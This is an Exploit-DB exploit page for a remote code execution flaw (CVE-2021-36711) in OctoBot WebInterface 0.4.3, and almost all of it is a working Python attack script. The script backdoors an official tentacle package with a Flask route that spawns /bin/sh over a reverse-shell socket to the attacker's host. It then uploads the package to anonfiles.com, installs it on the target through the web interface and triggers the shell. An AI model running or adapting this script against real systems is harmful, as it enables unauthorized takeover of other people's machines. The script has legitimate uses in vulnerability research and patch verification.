OctoBot WebInterface 0.4.3 – Remote Code Execution (RCE)

  • 作者: Samy Younsi
    日期: 2022-07-21
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50979/
  • # Exploit Title: OctoBot WebInterface 0.4.3 - Remote Code Execution (RCE)
    # Date: 9/2/2021
    # Exploit Author: Samy Younsi, Thomas Knudsen
    # Vendor Homepage: https://www.octobot.online/
    # Software Link: https://github.com/Drakkar-Software/OctoBot
    # Version: 0.4.0beta3 - 0.4.3
    # Tested on: Linux (Ubuntu, CentOs)
    # CVE : CVE-2021-36711
    
    from __future__ import print_function, unicode_literals
    from bs4 import BeautifulSoup
    import argparse
    import requests
    import zipfile
    import time
    import sys
    import os
    
    def banner():
    sashimiLogo = """
    _________ ..
     (.. \_,|\/|
    \ O\/|\ \/ /
     \______\/ | \/ 
    vvvv\\ | /|
    _ __ _\^^^^== \_/ |
     | |__ _ | || |__ (_)_ __ ___ (_)`\_ ===\.|
    / __)/ _` / __| '_ \| | '_ ` _ \| |/ /\_ \ /|
    \__ | (_| \__ | | | | | | | | | | ||/ \_\|/
    ( /\__,_( |_| |_|_|_| |_| |_|_| \________/
     |_| |_| \033[1;91mOctoBot Killer\033[1;m
    Author: \033[1;92mNaqwada\033[1;m 
    RuptureFarm 1029
    
    FOR EDUCATIONAL PURPOSE ONLY. 
    """
    return print('\033[1;94m{}\033[1;m'.format(sashimiLogo))
    
    
    def help():
    print('[!] \033[1;93mUsage: \033[1;m')
    print('[-] python3 {} --RHOST \033[1;92mTARGET_IP\033[1;m --RPORT \033[1;92mTARGET_PORT\033[1;m --LHOST \033[1;92mYOUR_IP\033[1;m --LPORT \033[1;92mYOUR_PORT\033[1;m'.format(sys.argv[0]))
    print('[-] \033[1;93mNote*\033[1;m If you are using a hostname instead of an IP address please remove http:// or https:// and try again.')
    
    
    def getOctobotVersion(RHOST, RPORT):
    if RPORT == 443:
    url = 'https://{}:{}/api/version'.format(RHOST, RPORT)
    else:
    url = 'http://{}:{}/api/version'.format(RHOST, RPORT)
    return curl(url) 
    
    
    def restartOctobot(RHOST, RPORT):
    if RPORT == 443:
    url = 'https://{}:{}/commands/restart'.format(RHOST, RPORT)
    else:
    url = 'http://{}:{}/commands/restart'.format(RHOST, RPORT)
    
    try:
    requests.get(url, allow_redirects=False, verify=False, timeout=1)
    except requests.exceptions.ConnectionError as e: 
    print('[+] \033[1;92mOctoBot is restarting ... Please wait 30 seconds.\033[1;m')
    time.sleep(30)
    
    
    def downloadTentaclePackage(octobotVersion):
    print('[+] \033[1;92mStart downloading Tentacle package for OctoBot {}.\033[1;m'.format(octobotVersion))
    url = 'https://static.octobot.online/tentacles/officials/packages/full/base/{}/any_platform.zip'.format(octobotVersion)
    result = requests.get(url, stream=True)
    with open('{}.zip'.format(octobotVersion), 'wb') as fd:
    for chunk in result.iter_content(chunk_size=128):
    fd.write(chunk)
    print('[+] \033[1;92mDownload completed!\033[1;m')
    
    
    def unzipTentaclePackage(octobotVersion):
    zip = zipfile.ZipFile('{}.zip'.format(octobotVersion))
    zip.extractall('quests')
    os.remove('{}.zip'.format(octobotVersion))
    print('[+] \033[1;92mTentacle package has been extracted.\033[1;m')
    
    
    def craftBackdoor(octobotVersion):
    print('[+] \033[1;92mCrafting backdoor for Octobot Tentacle Package {}...\033[1;m'.format(octobotVersion))
    path = 'quests/reference_tentacles/Services/Interfaces/web_interface/api/'
    injectInitFile(path)
    injectMetadataFile(path)
    print('[+] \033[1;92mSashimi malicious Tentacle Package for OctoBot {} created!\033[1;m'.format(octobotVersion))
    
    
    def injectMetadataFile(path):
    with open('{}metadata.py'.format(path),'r') as metadataFile:
    content = metadataFile.read()
    addPayload = content.replace('import json', ''.join('import json\nimport flask\nimport sys, socket, os, pty'))
    addPayload = addPayload.replace('@api.api.route("/announcements")', ''.join('@api.api.route("/sashimi")\ndef sashimi():\n\ts = socket.socket()\n\ts.connect((flask.request.args.get("LHOST"), int(flask.request.args.get("LPORT"))))\n\t[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]\n\tpty.spawn("/bin/sh")\n\n\n@api.api.route("/announcements")'))
    with open('{}metadata.py'.format(path),'w') as newMetadataFile:
    newMetadataFile.write(addPayload)
    
    
    def injectInitFile(path):
    with open('{}__init__.py'.format(path),'r') as initFile:
    content = initFile.read()
    addPayload = content.replace('announcements,', ''.join('announcements,\n\tsashimi,'))
    addPayload = addPayload.replace('"announcements",', ''.join('"announcements",\n\t"sashimi",'))
    with open('{}__init__.py'.format(path),'w') as newInitFile:
    newInitFile.write(addPayload)
    
    
    def rePackTentaclePackage():
    print('[+] \033[1;92mRepacking Tentacle package.\033[1;m')
    with zipfile.ZipFile('any_platform.zip', mode='w') as zipf:
    len_dir_path = len('quests')
    for root, _, files in os.walk('quests'):
    for file in files:
    file_path = os.path.join(root, file)
    zipf.write(file_path, file_path[len_dir_path:])
    
    
    def uploadMaliciousTentacle():
    print('[+] \033[1;92mUploading Sashimi malicious Tentacle .ZIP package on anonfiles.com" link="https://app.recordedfuture.com/live/sc/entity/idn:anonfiles.com" style="">anonfiles.com... May take a minute.\033[1;m')
    
    file = {
    'file': open('any_platform.zip', 'rb'),
    }
    response = requests.post('https://api.anonfiles.com/upload', files=file, timeout=60)
    zipLink = response.json()['data']['file']['url']['full']
    response = requests.get(zipLink, timeout=60)
    soup = BeautifulSoup(response.content.decode('utf-8'), 'html.parser')
    zipLink = soup.find(id='download-url').get('href')
    print('[+] \033[1;92mSashimi malicious Tentacle has been successfully uploaded. {}\033[1;m'.format(zipLink))
    return zipLink
    
    def curl(url):
    response = requests.get(url, allow_redirects=False, verify=False, timeout=60)
    return response
    
    
    def injectBackdoor(RHOST, RPORT, zipLink):
    print('[+] \033[1;92mInjecting Sashimi malicious Tentacle packages in Ocotobot... May take a minute.\033[1;m')
    if RPORT == 443:
    url = 'https://{}:{}/advanced/tentacle_packages?update_type=add_package'.format(RHOST, RPORT)
    else:
    url = 'http://{}:{}/advanced/tentacle_packages?update_type=add_package'.format(RHOST, RPORT) 
    
    headers = {
    'Content-Type': 'application/json',
    'X-Requested-With': 'XMLHttpRequest',
    }
    
    data = '{"'+zipLink+'":"register_and_install"}'
    
    response = requests.post(url, headers=headers, data=data)
    response = response.content.decode('utf-8').replace('"', '').strip()
    
    os.remove('any_platform.zip')
    
    if response != 'Tentacles installed':
    print('[!] \033[1;91mError: Something went wrong while trying to install the malicious Tentacle package.\033[1;m')
    exit()
    print('[+] \033[1;92mSashimi malicious Tentacle package has been successfully installed on the OctoBot target.\033[1;m')
    
    
    def execReverseShell(RHOST, RPORT, LHOST, LPORT):
    print('[+] \033[1;92mExecuting reverse shell on {}:{}.\033[1;m'.format(LHOST, LPORT))
    if RPORT == 443:
    url = 'https://{}:{}/api/sashimi?LHOST={}&LPORT={}'.format(RHOST, RPORT, LHOST, LPORT)
    else:
    url = 'http://{}:{}/api/sashimi?LHOST={}&LPORT={}'.format(RHOST, RPORT, LHOST, LPORT)
    return curl(url) 
    
    def isPassword(RHOST, RPORT):
    if RPORT == 443:
    url = 'https://{}:{}'.format(RHOST, RPORT)
    else:
    url = 'http://{}:{}'.format(RHOST, RPORT)
    return curl(url)
    
    def main():
    banner()
    args = parser.parse_args()
    
    if isPassword(args.RHOST, args.RPORT).status_code != 200:
    print('[!] \033[1;91mError: This Octobot Platform seems to be protected with a password!\033[1;m')
    
    octobotVersion = getOctobotVersion(args.RHOST, args.RPORT).content.decode('utf-8').replace('"','').replace('OctoBot ','')
    
    if len(octobotVersion) > 0:
    print('[+] \033[1;92mPlatform OctoBot {} detected.\033[1;m'.format(octobotVersion))
    
    downloadTentaclePackage(octobotVersion)
    unzipTentaclePackage(octobotVersion)
    craftBackdoor(octobotVersion)
    rePackTentaclePackage()
    zipLink = uploadMaliciousTentacle()
    injectBackdoor(args.RHOST, args.RPORT, zipLink)
    restartOctobot(args.RHOST, args.RPORT)
    execReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT)
    
    
    if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='POC script that exploits the Tentacles upload functionalities on OctoBot. A vulnerability has been found and can execute a reverse shell by crafting a malicious packet. Version affected from 0.4.0b3 to 0.4.0b10 so far.', add_help=False)
    parser.add_argument('-h', '--help', help=help())
    parser.add_argument('--RHOST', help="Refers to the IP of the target machine.", type=str, required=True)
    parser.add_argument('--RPORT', help="Refers to the open port of the target machine.", type=int, required=True)
    parser.add_argument('--LHOST', help="Refers to the IP of your machine.", type=str, required=True)
    parser.add_argument('--LPORT', help="Refers to the open port of your machine.", type=int, required=True)
    main()